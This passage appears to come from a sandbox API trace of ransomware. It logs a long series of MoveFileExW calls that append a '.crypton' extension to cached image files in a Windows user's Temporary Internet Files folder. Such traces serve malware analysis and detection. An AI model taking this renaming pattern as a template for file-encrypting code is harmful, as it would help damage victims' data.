files\\low\\content.ie5\\9qh4s0gz\\bbbo8dq[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO8dQ[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo8dq[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.845] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBOe7C[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbboe7c[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBOe7C[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbboe7c[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.853] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPThN[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpthn[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPThN[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpthn[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.860] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPUFJ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpufj[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPUFJ[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpufj[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.866] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBQxzx[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbqxzx[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBQxzx[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbqxzx[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.873] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBseMP[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsemp[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBseMP[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsemp[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.880] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBsqNL[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsqnl[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBsqNL[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsqnl[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.884] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBTpvW[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbtpvw[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBTpvW[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbtpvw[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.888] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVEOW[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbveow[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVEOW[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbveow[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.894] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVGsM[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvgsm[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVGsM[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvgsm[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.899] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVIzI[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvizi[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVIzI[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvizi[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.904] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVJ4r[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvj4r[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVJ4r[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvj4r[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.907] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVxM8[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvxm8[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVxM8[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvxm8[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.911] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBz9wz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbz9wz[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBz9wz[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbz9wz[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.921] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBzxW1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbzxw1[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBzxW1[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbzxw1[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.934] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC06Ub[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc06ub[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC06Ub[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc06ub[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.941] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC095c[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc095c[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC095c[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc095c[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.947] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0ALC[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0alc[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0ALC[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0alc[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.955] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0lYn[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0lyn[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0lYn[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0lyn[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.958] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0mlu[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0mlu[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0mlu[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0mlu[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.965] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0rDa[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0rda[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0rDa[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0rda[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.968] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0rDa[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0rda[2].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0rDa[2].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0rda[2].jpg.crypton"), dwFlags=0x2) returned 1 [0197.979] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0tCi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0tci[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0tCi[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0tci[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.987] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDK7Yy[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdk7yy[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDK7Yy[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdk7yy[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.992] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDRbsH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdrbsh[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDRbsH[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdrbsh[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.996] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDZoZR[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdzozr[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDZoZR[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdzozr[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.000] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBE97O8[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbe97o8[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBE97O8[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbe97o8[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.007] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBE9wSt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbe9wst[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBE9wSt[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbe9wst[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.011] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEcHle[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbechle[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEcHle[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbechle[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.019] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdE0f[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbede0f[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdE0f[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbede0f[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.023] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdoQv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedoqv[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdoQv[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedoqv[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.027] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdqEy[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedqey[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdqEy[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedqey[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.031] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdtWw[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedtww[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdtWw[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedtww[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.036] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdXJj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedxjj[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdXJj[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedxjj[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.045] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEeP0k[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeep0k[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEeP0k[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet 